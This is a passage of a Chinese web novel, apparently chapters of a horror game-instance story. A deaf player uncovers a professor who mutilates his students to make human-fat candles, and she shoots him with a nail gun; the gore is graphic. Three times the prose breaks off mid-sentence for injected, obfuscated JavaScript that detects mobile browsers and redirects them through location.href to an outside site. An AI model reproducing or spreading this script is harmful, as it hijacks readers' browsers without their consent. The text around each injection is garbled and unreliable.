原来方才半途踩到的是一个旧电箱的上方铁盖。副本描述里提及这个沙洞内部有完整的供水供电氧气循环系统，出现一个电箱不足为奇。只是汪橦差点大意害了自己。旧电箱的高度离地面少说也有三四层楼高，汪橦若是直直摔下，伤筋动骨在所难免。 从下往上的视角，更是看不见洞口有半点光亮，可见洞底离地面距离甚远。汪橦不禁思考起副本要求： 【玩家成功逃离地堡，返回地面即视为任务完成，即可通关。】 如果返回地面的路上仍然要返回此处爬绳上去，那恐怕汪橦要颇为忧心自己的体力能否支撑自己成功返回地面。 汪橦起身拿着手机打量了一周沙洞内的场景，前方只有一条通往更深处的地道。洞内为防止泥沙坍塌，有木头架起横梁立柱，撑起这片地底空间。 唯有前进一途。 汪橦向前走去，边走边上下左右不停扭头、抬头地张望，在她生前看过不少的电影里，这样幽暗的地道最容易出现各种各样的贴脸杀。 鉴于汪橦短暂丧失了听力，她害怕自己走动声音太大引来不该来的东西，自己听不见不能及时撒开腿跑，于是汪橦落脚轻缓，远看去黑暗中一道明光下，一个鬼鬼祟祟的身影小步幅移动着。 走了百来步，汪橦终于在路的尽头遇见分岔口。左边的道路上堆满了凌乱的纸箱、木板，还有几个随意扔在地上的水壶、饭盒，沃伦.卡特一行人已经身体力行地为汪橦开辟了正确的道路。 汪橦一个右拐后继续笔直地前进。 通往右边通道的一侧出现一间房。屋内天花板正中央垂下一盏吊灯，吊灯散发出的灯光在昏暗的走廊下随着地下不知安装在哪里的通风系统里流动的空气而来回晃动。 汪橦挑眉走进去。屋内有两架铁床，一面铁置物柜，柜子内部敞开，让人一览无余里面存放的任何东西。中间的空地上放置一张方形长桌，桌上有电话、笔记本、搪瓷缸等零碎物品。 汪橦拿起电话，发现这并不是现在流行的手机款式，而是更久以前的铁板砖大哥大，并不能安装APP。所以她还是得去找到沃伦.卡特的手机给自己确认订单已完成。 她尝试按住侧面按键开机。令她意外的是这部电话时隔已久仍然有电，相当顺利地开了机。 汪橦检查了手机，除了长达十几个一模一样的通话记录，手机里什么信息也没有。 十几个通话记录都指向同一个电话号码—— 20020020。 汪橦迟钝地回想起这串熟悉的电话号码正好属于客户沃伦.卡特。她后知后觉地意识到自己完全可以直接待在这里，哪儿都不去，发短信给沃伦.卡特让他点一下“确认”。自己等他完成后转身就能攀爬绳子回到地面从而完成副本任务。 汪橦正要拿起一旁她自个儿的手机，左肩瞬间被人轻拍了一下。她像是脚被烫一下跳将开，整个人闪到右侧，警惕地看向左后方来人。 哦，原来是红发男。 对方似乎在张嘴对汪橦说话。汪橦定睛注视着红发男不断张合的嘴唇，她心凉了小半截： 读不懂唇语…… 汪橦百般无奈地开口道：“你能写字给我看吗？我突发神经性耳聋，听不见了……” 汪橦自然不能说“副本、游戏”之类的词，她不想被青年当成精神医院在逃病患报警抓起来，只能胡诌自己得病。 红发男点头，从胸前口袋里掏出一根油性笔，走到桌前拿起原本放在桌上的笔记本唰唰写着。片刻后，他将本子举到汪橦眼前： “你为什么跑下来？你的举动太危险，地下很容易迷路。” “我已经将东西交给教授。难道教授还没确认吗？” “你是下来找教授确认订单的吗？如果不是，你快离开吧，在地下虽然能呼吸，但这里空气不太好，人待久了容易生病。” 汪橦看着红发男点头。昏黄的灯光下，她继续说道： “卡特教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806246|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 授还没确认订单，他这边不确认的话，我没法接新的单子。所以我干脆下来找他了。” 汪橦没有提自己为什么不选择留在地面，给沃伦.卡特打电话催促他确认订单的事。毕竟如果红发男真的这么问，汪橦蛮难回答。幸运的是，红发男也没想到这点。 他低头又唰唰写了段话，复举起： “我给你一个多出来的手电筒吧。教授让你带了两个手电筒，我拿去的路上就觉得不对。” “我们十个人每人都带了手电筒，大概是教授记错了人数，以为我们这次来了十二个人。” 红发男蹲回铁柜下方，拖出一个汪橦本也注意到的军绿色挎包。他拉开拉链，拿出一个军用手电筒—— 这个手电筒并非平常用手上下推开关的漏斗状手电筒形状，而是一个近似圆形的，圈有一串弹簧线的样式。 使用者只需要稍稍一拉弹簧线，圆形手电筒前方就会亮起。它的照亮范围更大。而拉出弹簧线愈长，手电筒愈亮，它的亮度是可借力度控制的。这种手电筒的发电原理似乎与普通漏斗状手电筒不一样，总之，它不需要电池就能坚持全天照明二十天的时间。 红发男还递给汪橦一瓶水。他这次没有再写字，选择直接手指地面，接着手掌弯成瓶盖状，做往嘴里倒水的动作，然后摇头比了个“X”，表示洞穴里的地下水不能喝。 汪橦感激地接过水，她之前爬下来的时候大量出汗，的确需要补充一些身体的水分。她借扭瓶盖的时机，悄悄歪头对着灯扫了几眼瓶底，确认瓶底无沉淀，瓶盖也是紧扣在瓶口后，这才安心扭开喝了几口。 她跟在红发男身后，和他一起去找沃伦.卡特。 随后途径的几个房间都不如最开始的房间面积大，但布局大差不差，都有铁架床、物品柜，有的墙上贴有海报，有的还有娱乐物品如扑克牌之类松散地洒了一地。这些房间灰尘仆仆，不如最开始的房间一眼便知是被人收拾整理过的。 汪橦轻声问红发男：“你们只收拾刚才那间屋子吗？我以为你们搞研究的会把这里每一个房间都检查得天翻地覆呢。” 红发男回头用手狠狠拉了几下他握在手里的电筒，汪橦见状照做。对方嘴叼住笔盖，用别扭的姿势在纸上写道： “这个洞穴下方实际上是一个军事地堡，我们不是研究战争史的，这里的房间设施对我们的课题研究影响不大。” 汪橦趁热打铁问道：“那这里有什么值得你们研究的呢？” 【副本描述： “沙咔拉洞穴自去年末被市立研究院发掘出，一跃成为新的研究热点。洞穴具备完整的供水供氧供电系统，由上百条复杂的地道构成一个近似军事地堡的地下建筑。进入沙咔拉的你，情不自禁地想要更深入了解隐藏在原始与人工背后洞穴深处的秘密……”】 汪橦记得副本描述里提到过沙咔拉洞穴背后有秘密，这个秘密必然不是指沙洞下其实存在着一个军事地堡。 她需要知道沃伦.卡特一行人究竟在研究什么，他们研究的课题想必接近那个秘密。而这个秘密关系到汪橦能否成功逃出这个沙洞。 红发男停顿片刻，最终在纸上写了两个字：“保密。” 汪橦一看，差点为之绝倒，俗称——气撅过去。红发男已经拒绝透露研究课题两次了……汪橦担心这群人要搞票大的结果搬起石头砸自己的脚，还连累了自己。 箭在弦上，不得不发，如今却也只能走一步看一步。跟着红发男找到沃伦.卡特总能知道他们在搞什么鬼。 11. 墙中之蛛（2） 两人默默朝前走，一路上，汪橦不停在脑中记下来时的路线，竟不知走在汪橦正前方的红发男何时停下了步伐。 他回头冲汪橦露齿笑，格外憨厚天真的表情。红发男用手指向前方一扇敞开的石门，接着绕到汪橦身后轻推了她一把。意思是，卡特教授就在前面，让她过去。 汪橦乜他一眼，努嘴让他先走。 红发男似乎真的只是单纯担心汪橦焦急所以让她先进去，见汪橦不答应，他没露出任何反常的神情，抽身向前迈入那扇石门。 汪橦将右手按在裤兜上，紧随其后，一个呼吸间的功夫，红发男却不见了人影。汪橦霎时汗毛直立，人呢？ 汪橦拉了两圈手电筒对准方才红发男的方位照过去，映入眼帘的却是令她震撼震惊乃至张口结舌的一幕。 眼前赫然出现一个巨型沙坑，坑的容度足以称得上万人坑。沿着沙坑一周放置了十二块类似石碑状的矮东西。 汪橦下意识上前一一细看：每块石碑上刻画的花纹与符号不尽相同，组合到一起像是某种古怪的祈祷仪式。 每块石碑顶部有一块小而圆的凹陷，汪橦举起手电筒对准里面： 每处凹陷都塞进了一个蜡烛。蜡烛的火光在铺天盖地的阴影中忽明忽灭，又被石门挡住了大半，所以汪橦先前会误认作是屋内的灯光。 汪橦走近沙坑边，一个顶着一头红发的男人正在里面扑腾，手脚并用往上爬，爬到一半又滑回坑底。 原来红发男不小心摔进沙坑中，汪橦耳聋不知道他在里面求援。汪橦心中油然而生了几许愧疚，脱下夹克外套扯住袖子一端，将另一端扔向红发男，待他抓紧后拉起。 红发男爬上来后，向汪橦写道：“教授他们之前还在这里，现在却不知道都跑哪儿去了。你在这里等我，我去找他们。” 在看到汪橦点头答应后，他朝外跑去。空荡的沙地上转眼只剩汪橦孤零零一人。 沙洞内部本位于地下，头顶支撑的木梁离地不远。汪橦一米七的身高，走路尚能挺直腰背，换成红发男则要缩脖曲腿地走路了。 可石门之后，汪橦仰头看不清这处空间的穹顶有多高，唯一确定的是这里足以让哪怕十几层楼高的巨人昂首阔步。 这处空间像是神来之笔，突兀地存在于一个本应狭窄低矮的洞穴之中，像是两个次元融合时失败所遗留的产物。 汪橦再次举起手电筒四处查探。汪橦努力扯了十几下弹簧线，使得手电筒的亮度足以照亮这宏伟的沙坑底部。 坑底有一块突出的裸露岩石，细看过去岩石表面似乎被什么猩红色的液体描绘了一道扭曲复杂的符号。汪橦比对着岩石上的符号，依次走过十二块石碑，终于发现这是每一块石碑上共有的符号。 坑底除了这块岩石，再无任何东西。汪橦将目光投向别处，石门后的视野盲区里堆着几个书包。汪橦纠结了一分钟是否要做一个不问自取之人，最后得出肯定的答案。 她将此处所有包裹全翻过一遍，不遗漏任何一个内侧口袋，除了一本杂乱无章、字迹草草的笔记，其他什么也没有。 除了几个空包裹，什么也没有？沃伦.卡特一行人刚才真的在这里吗？红发男有必要对自己撒谎吗？如果他在撒谎，为什么？ 汪橦正要从门后的阴影中踏出去，却看见手电筒光下门口有一个人影在晃动。 汪橦停下动作，静止站在原地。双方莫名隔着门对峙了几分钟。期间汪橦确定对方显然不是红发男。 率先沉不住气的是那个人影，它晃动得更加厉害。 在光下，它的影子像拱起背部拼命向前游动的鱼，它耸起的肩部疯狂晃动着，它的腰肢剧烈颤抖着，它蠕动在地上挣扎着挪近汪橦。 汪橦原本沉静的面容在见到黑影真面目的刹那扭曲，她几乎快要绷不住自己的面皮。 浑身的血液瞬间逆流，一股寒气从尾椎直直窜上天灵盖。全身上下的毛孔宛若炸开，汪橦不必去摩挲自己的胳膊都能知道，自己的汗毛直立。 恐慌扼住她的喉舌，叫她什么话都说不出。 谁能在一个蓬头垢面的人形棍状物前立时说出些什么场面话来呢？谁又能在死一样的寂静中永远保持沉着冷静？ 它仰着的头颅在看见汪橦的瞬间脱力，好似终于完成了一件大事可以休息了。它披头散发地匍匐在汪橦身前的空地上。它的一切被赤裸裸地暴露在汪橦手里的手电筒强光下—— 它的躯干空空荡荡，它失去了所有的手脚乃至连接它们的肢体部位。背部肩胛骨几乎快戳破它残余的皮肉。 那晃动的黑影原来是这人似毛虫般趴在地上爬过来时残留的肩部的影子。 沙粒无论怎样细腻，也会磨破人体柔软的肌肤。它没胳膊没腿，就那样费劲地爬过来，汪橦不必多想便知它胸前已经是怎样的血肉模糊。 汪橦来不及思考它是否会在嘴里藏诸如刀片之类的利器攻击自己。她惊骇得下意识伸出手去揽住人的腰。 它瘦骨嶙峋得足以让汪橦只用伸出一只胳膊就能完全将它抱起。只是这人棍抖得厉害，浑身湿漉漉，汪橦险些抓它不住。 它抬起头，一双死气沉沉的眼睛正对上汪橦的视线。它显然不适应汪橦手里的强光，挣扎着扭开头，而后又慢慢眨着眼转回来。它嗫嚅着。 汪橦喉头发紧，艰难地吐出四个字：“我听不见。” 两人离得如此近，以至于汪橦能清楚地看见强光下它的眼中溢出豆大的水花，却在眨眼的下一刻消失无踪。 它猛地剧烈挣扎起来，从汪橦怀里跳摔到地上，像一条在干涸的陆地上疯狂甩尾的鱼。 它昂起头，不顾身前的疼痛，滑稽地前后耸动肩头，似乎是在示意汪橦和它一起走。 静寂之中，宏伟的沙坑，一圈东倒西歪的石碑，幽暗的烛光，一个听不见，一个写不出。 汪橦蓦地伸出双手掐住对方的腰，将之腾空回抱。 “不急着走。我问，你答。如果我说的是对的，你就点头；反之摇头。同意？” 那人失望地垂下头颅，似乎这样就充作点头。 “这里很危险，是不是？” 它头低了几分。 “你想带我去一个更安全的地方？” 它晃了一下头。汪橦不由得抬高了眉头，但是对方如果真想害她，此刻更应该骗她自己要带她去的地方很安全才对。 “一个安全但也危险的地方？” 这下脑袋快埋进胸前了。汪橦表示自己明白了，她让对方以抬起头、左扭头、右扭头分别表达直走、左转、右转的意思，自己则抱着它走。 汪橦回到了昏暗的地道，怀中的人太轻了，是而两个人行动速度很快。汪橦被对方带到了一处空白的墙壁，照着指示直走进去。 这堵墙竟是一扇旋转门，门后还有一条不知通向何处的暗道。 汪橦顾着用手电筒照路，暗道前半段和外面地道一样，地上混合着沙砾，但后半段却突然出现一个水坑。水坑不大，汪橦轻轻迈半步就从水坑上方跨过去。 她低头看了怀中那个人棍一眼，难怪湿漉漉的，对方得承受怎样的痛苦才艰难地爬过那个对常人来说再浅不过的水坑，甚至于可以说那就是一滩水。 对方血淋淋的伤口掺杂着砂石与污水，感染的风险大大上升。还有四肢已经凝固的厚厚的血痂。 “你还有同伴活着吗？”汪橦轻问。她感受到怀里的身躯立刻僵硬了几分，于是住口不再残忍地细问下去。 转过弯，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806247|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前是一个和刚进入洞穴时遇到的亮着灯的那间屋子一模一样大小的房间。只是这间屋子里，没有吊灯，仅仅数十盏军用探照灯高低放在屋内的桌上、地上、床上，支撑这间屋内的光。汪橦数了数，一共十二盏。 汪橦仍抱着那人，索性问它：“你们这次一共来了十二个人吗？” 它点点头。 汪橦又问：“你认识一个红发男子吗？他说你们只有十个人……他是不是在撒谎？”话音刚落，怀里那人像小鸡啄米似的点起头，接着他抬起头示意汪橦走到桌前。 屋内正中央的长方形桌上堆叠着一摞文件，汪橦拿起放在最上面的蓝色文件袋。这正是她早上配送给沃伦.卡特的物品。看来沃伦.卡特曾待在这间屋子里，那么他人呢？ 汪橦突然问怀里人：“你是沃伦.卡特？” 怀里人边发抖边摇头表示不是。汪橦从放在最上面的蓝色文件袋开始查看。 文件袋里装着古代壁画的拓本。汪橦一一翻阅过去，发现每张壁画上都有和那宏伟的沙坑底部的岩石表面一样古怪的符号。 每一张壁画上的符号颜色皆是褪了色的朱红。有几张壁画上呈现出和坑旁十二个石碑一样的场景，只是所画之物一张比一张更加详细。 汪橦忽然意识到，这些壁画好比一张张详细的说明书，指导人如何去“侍奉”那个古怪的符号。所以这就是“沙咔拉之密”？ 汪橦继续翻堆在文件袋下方的纸张，有一张市立研究院批准沙咔拉研究的项目同意书。汪橦扫了一眼：上面分明同意的是《新旧人类之争、殖民时代战争残酷性一览——以沙咔拉洞穴未建成的军事地堡为例》课题研究立项。 汪橦哪里还有不明白的……那个红发男从头至尾在欺骗自己，眼前人的惨状与红发男肯定逃不脱关系。 沙咔拉洞穴本是一个未修建完的军事地堡，和自己不了解的殖民时代、新旧人类有关。沃伦.卡特一行人的课题目标就是红发男再三否认过的战争史研究。 她正要继续翻，怀中人突然向上跃起半寸，一口咬上她的侧颈。那力道软绵绵的，似乎只是为了吸引她的注意力。 她将注意力从手中的纸张上挪开，她听不见，但她发现自己怀里那个人身体抖动的幅度越来越大，像是它察觉到有什么正在接近。 汪橦匆匆将桌面的文件复原回最初的模样，她巡视一圈屋内，能供她快速躲避的似乎只有铁架床下。她干脆先将怀里人小心放在床底靠墙壁的内侧，自己后爬进去守在外侧。 “别怕。”汪橦草草安慰道。她一手将手电筒扣在地面上，一手将后兜的钉枪摸出，举到身前，匍匐在床下更深的阴影里，屏息等待。 或许是几分钟，或许是十几分钟，丧失听力的汪橦对时间的感知也随之流失了。她只能根据身边人肌肉的紧绷与否加上颤抖的幅度大小来判断是不是有东西离屋内越来越近。 军用探照灯忠诚地发挥职责，照亮任何企图进入这间屋内的身影。一道人影似乎推开了这间房门，缓缓踱步走进。对方好似猫戏耍鸟般，在屋里来回踱步，他的影子在床前游荡。 汪橦察觉身边那人的肌肉越来越紧绷，就像快要濒临极限崩断掉的琴弦。幸运的是，在这根弦彻底断掉前，影子渐渐朝着门边远去，门框的斜影动了一下，屋内又恢复到只有汪橦和它的样子。 汪橦悄悄吐出一口气，扭头看向它，安慰性地一笑：“没事……” 她突然顿住，因为她看见它张大了口，瞠目欲裂，只是那惊恐紧缩的目光并非对准汪橦，而是汪橦身后。汪橦的身后是床外。 汪橦慢慢回正脑袋—— 一双布满红血丝的眼睛正对着她，她看清眼睛下方的嘴巴一闭一合—— “你好！” 12. 墙中之蛛（3） 心跳加快，呼吸加深，肌肉紧张等所有面对恐惧与危险时人体肾上腺素激发后的生理反应，此刻在汪橦身上悉数出现。汪橦感到前所未有的兴奋。 红发男的瞳仁在黑暗里微微放大，他保持弯腰的姿势，不理解汪橦为何受到惊吓后还能咧开嘴笑出来。他凝固的得逞的神情碎出一条裂缝，夹杂着疑惑，配上眼白里遍布的红血丝显得分外滑稽。 汪橦眨了一下右眼，与此同时，她按下手中的射钉枪。 红发男似乎完全没料到对方手里有攻击性武器，当下捂住左眼向后跌跌撞撞地走去。从汪橦处只看见地面很快拢聚一小滩血。 事不宜迟，汪橦半撑起上身，左手抱过内侧的人，左腿半跪于地，右腿朝上狠蹬床板。 紧接着她抱紧怀里人，迅速翻身，右腿再次正面上踢，将铁架床生生掀翻，整个人反身后弓，跳弹起来双腿齐发力蹬了床背一脚，将铁架床朝红发男踹飞过去。 红发男只觉射入他左眼球的钉子在他的脑中狠搅，连带着他的右眼也在发痛。左眼流血，右眼不自主地淌泪，他视线模糊，隐约看见什么重物向他飞来。 下一秒，他被铁架床正面压在地上。他挣扎着想要撑地爬起，但或许是肋骨被生生砸中的缘故，仿佛底下有根筋扯住了他的呼吸。他嗬嗬喘着粗气，喉咙处弥漫开浓浓的铁锈味。 血色的视野里，一道劲瘦修长的黑影朝他阔步走来。黑影左臂弯里还搂抱着另一个不人不鬼的“东西”。 猎人与猎物的位置在一分钟内迅速反转。 事已至此，他竟剩有多余的力气笑出声。他喃喃地呓语，可惜他想让听到的人听不见，只看见那个黑影胸前紧搂住的人形物听到他的声音后痉挛般发抖。 下一刻，他的右眼被冰冷的金属抵住。 啪嗒。 汪橦漠然看着手下那人痛苦的哀嚎，面无表情地对着他的手心和脚背各补了一枪，再对他的手肘、膝弯打了几枪，争取卸掉他全部的行动能力。 补刀完毕，她低头，嘴唇恰好落在怀里轻微抖动的人的耳侧。汪橦轻声问道：“喜欢吗？是不是他对你做的这些事？” 怀里人的头低下去，汪橦看不清他具体的表情，想来他也不会有事。她干脆走回长桌前，面朝红发男，取出压在蓝色文件袋下方的文件阅览，读几页就抬头观察红发男的状况。 她找到了一份写了一半的报告，报告大致写道： 沙咔拉洞穴里的地堡是未完成的军事建筑，待在这里参与修建工作的都是部队士兵。历史上这些士兵无一人成功返乡，他们在洞穴里找到大量士兵的骨骼，由于年代久远，无法确认是否是全部士兵的骨骼。 根据洞穴里残存的纸质文件来看，这些士兵并未参与前线作战，他们似乎仅仅是在修筑堡垒的过程中在地下因不知名的原因一个接一个安静地死去了。 报告最后写道研究人员已发现这里地道两侧的墙壁背后存在旋转门和暗道，附件是研究人员绘制的沙咔拉洞穴的完整地图，囊括了新发现的地堡暗道和暗道里存在的房间。 汪橦继续往下翻，不禁拧眉。这份报告是手写的，第一页内容详实，字迹清晰，笔画工整，但第二页不知作者受了什么刺激，字迹愈发紊乱无序，前几段还能看出作者在汇报他们发现了那个巨型沙坑，后面便什么也看不明白。 汪橦一直将人搂在怀里，单手看文件，因此那人也可以看见汪橦所看的内容。从汪橦翻到第二页起，怀里的人又开始发抖，似乎受到和写作者同样的刺激。 汪橦猜测正是写作者受到的癫狂导致了怀中的人如今的惨状和他同学的消失。她放下这份戛然而止的报告，抽出里面绘有地图的纸记下一遍后，折叠放入口袋里。 下面还有一沓从沙咔拉洞穴地堡里找到的保留完好的纸张复印件。上面印着当时在地堡里的士兵们写的日记的复印件。 日记一： 亨利死了。他死在我身旁，我醒来就看见了亨利的尸体。我们明明身处军营，谁会对他下如此毒手？ 他的胸腔被撕开，里面所有的肋骨都断了，内脏不翼而飞。头骨被钝器反复击打而裂开，身后还有多处撕裂伤。 日记二： 布赖恩，我们的班长！现在畏缩在我身边，他陷入恐惧的深渊。他一遍又一遍重复同一句话。 “逃啊！快逃啊！我们必须逃走，把怪物封印在它该待之处！” 他不断重复着……我似乎也被他的话影响了，同样的恐惧空虚压垮了我。和怪物困在这里，武器库可能是我唯一的希望。我唯一能做的，唯一有胆量去做的，身为军人的尊严…… 残缺的日记三（仅仅只是两句话）： 当它带走崔比安尼的时候*****。这玩意儿到底是什么？！ 汪橦记下“武器库”三个字，上个副本系统奖励她的两行道具栏，或许可以在这个副本里派上用场。汪橦没有玩家技能，那么靠自己的双手在现实世界里搜集致富没有错吧？幸运的是，汪橦现在怀里揣着沙咔拉的地图，她可以沿着地图标注的房间将这里好好搜查一番。 汪橦握住怀里人双侧的腰，将它放置在桌上，盯着它的唇柔和地问道： “告诉我，这里有怪物吗？” “如果你能肯定就点头，否定就摇头，你不确定的事，你直视我说话，我可以分辨出你的嘴型说了几个字。” 汪橦读懂了它的口型，那是在说——“我不知道。” 表面上，沙咔拉存在一个尚未竣工的军事地堡，用途是打仗。但当年那些修建地堡的士兵却全部死在了这里。他们的死亡并非因为他们遭遇了突然的战争，而是从内部因为某个“怪物”所有人精神崩溃死去。 所以，真正的沙咔拉之密，是在这片地底幽深的空间里存在一个无法被直视，无法被描述的“怪物”。 汪橦继续抱起对方，看完剩下的文件，在最后她找到一个市立研究院的工作证。工作证上一个顶着一头亮眼红发的男子正微笑着看向镜头，下方写道：沃伦.卡特。 汪橦愣了几秒，看向红发男。他双目失明，满脸的血，无比狼狈，哪还有工作证上意气风发的模样。 汪橦喊了一声：“沃伦.卡特？” 对方浑身一僵而后大幅度地抽搐着躯体，似乎还不死心想去干什么。他挣扎得厉害，双腿无助地蹬地，却无法支撑他站立。有什么东西从他的裤兜里掉出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806248|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里人听到这个名字后也发起抖。汪橦只得一边安抚式地轻捋他的头发，一边走近沃伦.卡特，眼见一个智能手机躺在流了满地的血水中。 在汪橦点开手机，找到好特快APP确认“您的订单已送达”后，眼前跳出只有她能看见的蓝色面板： 【恭喜玩家汪橦，揭开沙咔拉之密，找到沃伦.卡特的手机确认订单。副本仍未结束，望你再接再厉！】 汪橦并未就此放下沃伦.卡特的手机，她在他的手机里翻着各类社交软件，还有搜索引擎的搜索记录。有意思的是他的手机里除了必要的工作对话，几乎没有多余的社交接触。通话记录除了那十几条来自同一个手机的已接来电，再无其它任何记录。 与清清白白的社交记录相比，毁人三观的是沃伦.卡特的搜索记录。诸如“烛芯效应”、“人体脂肪蜡烛”、“油脂精炼与改性综述方法”等，汪橦初始觉得背后发寒，沃伦.卡特将自己骗到沙坑那儿等他，是不是也是为了拿自己去当炼制蜡烛的原材料。 汪橦回忆起沙坑十二块石碑上分别放置的蜡烛，好像并不是每块石碑上的蜡烛都同样的明亮？有的蜡烛快燃尽了，有的则刚开始燃烧。自己怕不是被计划成弥补前面快要燃尽的蜡烛的新蜡烛。 转瞬涌上心头的是无比的愤怒。汪橦联想到前面日记里发疯的士兵，只怕这个沃伦.卡特也被恐惧与空虚压迫得发了疯，将自己的学生砍了四肢拿去炼制人体蜡烛，去那个巨型沙坑里为了某种莫名其妙的古怪的仪式。 那十一个学生哪里想象得到，仅仅是跟着自己信任的导师实地研究，会陷自己于痛苦的死亡中？ 沃伦.卡特和“怪物”之间有关联吗？他和那个“怪物”是否像上一个规则类副本里Cassandre和钱逐昊的关系？这个“怪物”真实存在吗？还是像日记里不可置信的呓语那般仅仅是人类想象里的一个虚无？ 先前怀里人说了他不知道“怪物”是否存在，意味着这些学生恐怕并没有看见所谓的“怪物”。他们知道的只有自己的老师发了疯，害了他们所有人。 汪橦撇了一眼犹在血水中挣扎的沃伦.卡特，决定自己先将地堡全部走一遍再回来看看他是否还活着。 她给房间留了一盏军用探照灯，其它探照灯则全部被收进了道具栏里的第一格中。又翻了翻物品柜，除了空空如也的几个大酒精瓶外，她惊喜地找到一大瓶开封后使用了一点的酒精，还有两卷医用纱布，将它们全部放入道具栏中。 道具栏不同物品必须分开放，幸好上个副本汪橦开启了两行一共二十格道具栏，此刻足够放下房间内找到的有用物品。 【位置：第一行第一格 物品名称：军用探照灯 数量：11/99】 【位置：第一行第二格 物品名称：酒精 数量：1/99】 【位置：第一行第三格 物品名称：医用纱布 数量：2/99】 汪橦让怀里人先带她去它其他同伴在的地方，自己离开房间前还将桌上所有的文件和沃伦.卡特的工作证全部放入第四、第五格道具栏，顺手将沃伦.卡特的手机揣在自己兜里。 13. 墙中之蛛（4） 汪橦“副本任务已完成过半”的好心情在被怀里人带入一条新地道后的新房间时消失殆尽。这里离刚刚那处房间不远，拐个弯再走几步就到了，应该就是沙咔拉地堡里的后勤处。 房间内保存着锅碗瓢盆，以及汪橦一眼便知是沃伦.卡特用来炼制蜡烛的化学工具。 那些奇形怪状的工具旁有个汪橦生前在菜市场常见的大竹篓，里面垒着白花花的胳膊、大腿、手和脚。 看来沃伦.卡特就是用这些部位来炼制蜡烛，以满足那个古怪仪式所需要的材料。 房间一侧有个洞，洞只有半人高，需要汪橦弯下一半的腰才能进入洞内。 汪橦用手电筒朝里照去，黑暗中白花花的肉/体反射出刺眼的光线，在刺眼的闪光中汪橦半眯起眼看清了被沃伦.卡特圈养于此的“原料”。 除去汪橦怀里这位，其余十个原本是沃伦.卡特的学生的人已经无法称之为人了。 它们好似一群猪猡，面容模糊，身上长满真菌，在仓库地上的污泥里翻滚。汪橦明明听不见，她的心跳却好似随着那些人痛苦的哀嚎在胸腔内共振。 有的已成为一动不动的尸体，有的仍残留着一口气在地上拱，却俨然是进气不如出气了，有的显然被满身真菌折磨得浑身发痒，翻来覆去地摩擦地面，不顾胸前背后血淋淋的白骨。 沃伦.卡特似乎并不想让自己的学生在被砍下四肢后立即死掉，柜子里用完的几大瓶酒精和残存的两卷医用纱布可以佐证这点。 但他对豢养他们也不上心，围在这些人形棍状物身边的石圈里被随意扔着几捆明显被啃过的劣等蔬菜。在那个散发出恶臭的石储仓底部还残留着一些恶心的青储饲料残余。 汪橦后退回屋中，在脑海里询问系统：“这个世界里有能治疗人彘，让他们活下去的医疗手段吗？” 眼前浮现蓝色面板，上面写着—— 【玩家汪橦你好，针对你的问题，非涉及副本作弊，001被授予允许回答的权限。】 【泥呷市本市可以完成对他们的伤口清创及基础治疗工作，防止患者因伤口感染并发症死亡。】 汪橦轻微摇头：“他们这副模样，光是活着，却没有尊严。如果他们想死，我却让他们苟延残喘……我，我做不了决定。这个世界有没有能让他们恢复正常人行动能力的医疗技术？” 【北方的霍斯克城是这个世界唯一一座垄断机械义肢移植技术并且全城医疗机构持有人体改造准许牌照的高科技城市，东南部的乌有市则掌握独一无二的人体组织再生技术，是一座生物城。】 【玩家汪橦可以考虑是否要承担把所有人送去霍斯克或乌有市的责任？容001好心提醒，在这个世界玩家汪橦应当以通关游戏副本为最高优先级。】 汪橦沉默了片刻，她可以通过副本以后帮忙拨打蓝天救援队的电话，协助他们救出这里的人。这些人还有家人、朋友帮助他们进行后续的治疗，汪橦有多大能耐办多大事，不可能参与。 角落里一块不停闪烁蓝光的屏幕拉回汪橦的注意力。她惊喜地发现屋里竟有一台笔记本电脑！也对，这个时代的研究人员怎么会不配备电脑。 汪橦抱着怀里人走到电脑前，让对方用语音输入的方法把想说的信息显示在屏幕上和自己沟通。 怀里人自我介绍他叫沈观，是沃伦.卡特带的博士生之一，他已经被困在这里一个多月。当初他们一行人为了研究“沙咔拉地堡是殖民时代下新旧人类惨烈战争的微观缩影之一”而下洞。 前十几天的沃伦.卡特一直表现正常，跟平时那个和蔼可亲的他没有区别。直到他们于此地一间汪橦尚未去到的原用于长官处理军务的房间里找到大量古怪、罕见并且讨论禁忌主题的典籍。 这个世界不同的城市受统一的联邦政府管辖，因此除了联邦规定的通用语外各地还流行不同的语言。 沈观本科就读古典学专业，他擅长八门使用人数在一百万以上的语言，和四门已近失传的古代语言。与此同时，他读过大量古书和收藏在世界各地图书馆里的珍藏孤本。 但是在沙咔拉里发现的这些书籍全部用沈观看不懂的语言书写而成。 